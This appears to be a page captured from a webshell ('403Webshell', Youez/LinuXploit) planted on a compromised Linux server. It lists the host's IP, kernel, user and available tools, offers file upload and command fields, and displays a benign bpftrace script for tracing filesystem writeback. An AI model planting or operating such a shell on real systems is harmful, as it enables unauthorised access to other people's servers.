403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.185
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/writeback.bt
#!/usr/bin/env bpftrace
/*
 * writeback	Trace file system writeback events with details.
 * 		For Linux, uses bpftrace and eBPF.
 *
 * This traces when file system dirtied pages are flushed to disk by kernel
 * writeback, and prints details including when the event occurred, and the
 * duration of the event. This can be useful for correlating these times with
 * other performance problems, and if there is a match, it would be a clue
 * that the problem may be caused by writeback. How quickly the kernel does
 * writeback can be tuned: see the kernel docs, eg,
 * vm.dirty_writeback_centisecs.
 *
 * USAGE: writeback.bt
 *
 * Copyright 2018 Netflix, Inc.
 * Licensed under the Apache License, Version 2.0 (the "License")
 *
 * 14-Sep-2018	Brendan Gregg	Created this.
 */

BEGIN
{
	printf("Tracing writeback... Hit Ctrl-C to end.\n");
	printf("%-9s %-8s %-8s %-16s %s\n", "TIME", "DEVICE", "PAGES",
	    "REASON", "ms");

	// see /sys/kernel/debug/tracing/events/writeback/writeback_start/format
	@reason[0] = "background";
	@reason[1] = "vmscan";
	@reason[2] = "sync";
	@reason[3] = "periodic";
	@reason[4] = "laptop_timer";
	@reason[5] = "free_more_memory";
	@reason[6] = "fs_free_space";
	@reason[7] = "forker_thread";
}

tracepoint:writeback:writeback_start
{
	@start[args.sb_dev] = nsecs;
}

tracepoint:writeback:writeback_written
{
	$sb_dev = args.sb_dev;
	$s = @start[$sb_dev];
	delete(@start[$sb_dev]);
	$lat = $s ? (nsecs - $s) / 1000 : 0;

	time("%H:%M:%S  ");
	printf("%-8s %-8d %-16s %d.%03d\n", args.name,
	    args.nr_pages & 0xffff,	// TODO: explain these bitmasks
	    @reason[args.reason & 0xffffffff],
	    $lat / 1000, $lat % 1000);
}

END
{
	clear(@reason);
	clear(@start);
}

Youez - 2016 - github.com/yon3zu
LinuXploit